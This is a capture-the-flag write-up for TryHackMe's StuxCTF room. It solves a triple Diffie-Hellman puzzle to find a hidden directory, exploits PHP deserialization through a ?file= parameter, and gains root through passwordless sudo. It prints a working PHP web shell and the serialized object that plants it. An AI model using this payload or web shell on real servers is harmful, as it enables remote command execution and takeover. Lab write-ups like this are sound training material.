StuxCTF Write-up

StuxCTF is a medium level boot2root challenge on TryHackme. This room consists of Diffie-Hellman key exchange, PHP deserialization attack and privilege escalation.

Table of Contents


As always, we start with a Nmap scan and end up finding 2 open ports: 22 and 80.

22/tcp open  ssh     syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e8:da:b7:0d:a7:a1:cc:8e:ac:4b:19:6d:25:2b:3e:77 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHy6u+PbjzbKZyYYJwrdwKQPHa7m8AgiJwNQSx4Tp1IOOf2y8QZTm3/iln/TJsLNdRuOORhMymecTm0H8X+Oqq481qx5hcLb4ax88tzD/yHMYIWpgMVphjZRzvBpuYmL6tS25ltX5C8VUyIfAAp5UfmwTJTpQc6yUsf/SzA1JfHRMKYrKarm+HyiTA7Md5en7DkYf/Cc3D2RTvgmzyUEES1sWXIKlqG+Hw5Q3LBTf+x3Klv4j/nTjRnQ11uGXQUV+bf/hctQ+pd5lcOACdyvW1XDOoKVVFy794JUBZIE8KFJlDF9kDDk+/9KcXPFmwHRc7EhcvoOXI0IgdY9hHbA5v
|   256 c1:0c:5a:db:6c:d6:a3:15:96:85:21:e9:48:65:28:42 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNClIhCJbrZ4E0DajP2/THDkSRCFIIz+E4n0lwO2uwYKXLH+ZkmJfWPIS0G1imPiAl86M4waW46uhq+zd2zf7nY=
|   256 0f:1a:6a:d1:bb:cb:a6:3e:bd:8f:99:8d:da:2f:30:86 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPhnACR59xmsr8aznDId/sXX28PkUm6kKDeoNMHsgY3O
80/tcp open  http    syn-ack Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: POST OPTIONS GET HEAD
| http-robots.txt: 1 disallowed entry 
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Default Page
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Visiting the website doesn’t give us much information. It seems like an empty page.

When we inspect the source code, we find a comment that consists of numbers.

        <title>Default Page</title>
        <!-- The secret directory is...
        p: 9975298661930085086019708402870402191114171745913160469454315876556947370642799226714405016920875594030192024506376929926694545081888689821796050434591251;
        g: 7;
        a: 330;
        b: 450;
        g^c: 6091917800833598741530924081762225477418277010142022622731688158297759621329407070985497917078988781448889947074350694220209769840915705739528359582454617;
        is blank....

We infer that these numbers are related to Diffie-Hellman key exchange. Though DH known is 2 parties, here we have 3 parties. Like Alice and Bob. We have Charlie as well.

Diffie-Hellman Key Exchange

When we have 3 parties, the key exchange is done as follows (from Wikipedia):

  1. The parties agree on the algorithm parameters p and g.
  2. The parties generate their private keys, named a, b, and c.
  3. Alice computes ga mod p and sends it to Bob.
  4. Bob computes (ga)b mod p = gab mod p and sends it to Carol.
  5. Carol computes (gab)c mod p = gabc mod p and uses it as her secret.
  6. Bob computes gb mod p and sends it to Carol.
  7. Carol computes (gb)c mod p = gbc mod p and sends it to Alice.
  8. Alice computes (gbc)a mod p = gbca mod p = gabc mod p and uses it as her secret.
  9. Carol computes gc mod p and sends it to Alice.
  10. Alice computes (gc)a mod p = gca mod p and sends it to Bob.
  11. Bob computes (gca)b mod p = gcab mod p = gabc mod p and uses it as his secret.

So, we can calculate the shared secret key using the given numbers, since we have the values of p, g, a, b and gc.


# this is triple DH key exchange

gca = pow(gexpc,a,p) 
gcb = pow(gca,b,p) 

When we run the above code, we get the shared secret key.

$ python3

We got the shared secret key. Now, we can enter the secret directory.

Secret Directory

When we visit the secret directory, we find such a page hinting at ?file= parameter.

<!DOCTYPE html>

        <!-- hint: /?file= -->
        <div class="container">
            <div class="jumbotron">
                    <h1>Follow the white rabbit..</h1>

I tested for several LFI payloads but none of them worked. Then I tried to read the source code of the page.

$ curl


PHP Deserialization Attack

We got a pretty long hex encoded string. After I decoded it, I got a reverse base64 encoded string. So, I decoded it again and got the source code of the page.

class file {
        public $file = "dump.txt";
        public $data = "dump test";
        function __destruct(){
                file_put_contents($this->file, $this->data);

$file_name = $_GET['file'];
if(isset($file_name) && !file_exists($file_name)){
        echo "File no Exist!";

        $content = file_get_contents($file_name);
        $tags = array("", "");
        echo bin2hex(strrev(base64_encode(nl2br(str_replace($tags, "", $content)))));


I can use the file class to write a file. So let’s perform a PHP deserialization attack.

PHP deserialization attack is a type of attack where an attacker could create a malicious object and serialize it. When the server unserializes the object, the malicious code gets executed.

The unserialize function gets a string and converts it back to an object.

To create a malicious object, I used the following code.

class file 

    public $file = 'cmd.php';
    public $data = '<?php if(isset($_REQUEST["cmd"])){ echo "<pre>"; $cmd = ($_REQUEST["cmd"]); system($cmd); echo "</pre>"; die; }?>';

$serial = serialize(new file);
print $serial;

I saved that code and executed on my local machine to get the serialized object.

$ php serialize.php
O:4:"file":2:{s:4:"file";s:7:"cmd.php";s:4:"data";s:113:"<?php if(isset($_REQUEST["cmd"])){ echo "<pre>"; $cmd = ($_REQUEST["cmd"]); system($cmd); echo "</pre>"; die; }?>";}

I got the string. Now I can use this string for the PHP deserialization attack. Also, keep in mind that the file_get_contents function can read remote files. So I can host that string on my server and read it from there.


I successfully wrote the file. Now I can execute commands on the server.



Works! After I quickly got a reverse shell and read the user flag in the home directory.

www-data@ubuntu:/home/grecia$ ls
www-data@ubuntu:/home/grecia$ cat user.txt

Privilege Escalation

I downloaded the script and ran it on the server. Found that the www-data user can run sudo without a password.

╔══════════╣ Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d
Matching Defaults entries for www-data on ubuntu:                                                                                                                        
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on ubuntu:

So becoming root was pretty easy.

www-data@ubuntu:/tmp$ sudo -l
sudo -l
Matching Defaults entries for www-data on ubuntu:
    env_reset, mail_badpass,

User www-data may run the following commands on ubuntu:
www-data@ubuntu:/tmp$ sudo su
sudo su
root@ubuntu:/tmp# cd /root
cd /root
root@ubuntu:~# ls
root@ubuntu:~# cat root.txt
cat root.txt

And that’s it. We got the root flag as well.


That was a fun and interesting room. I brushed up my knowledge on DH Key Exchange and PHP Deserialization attack.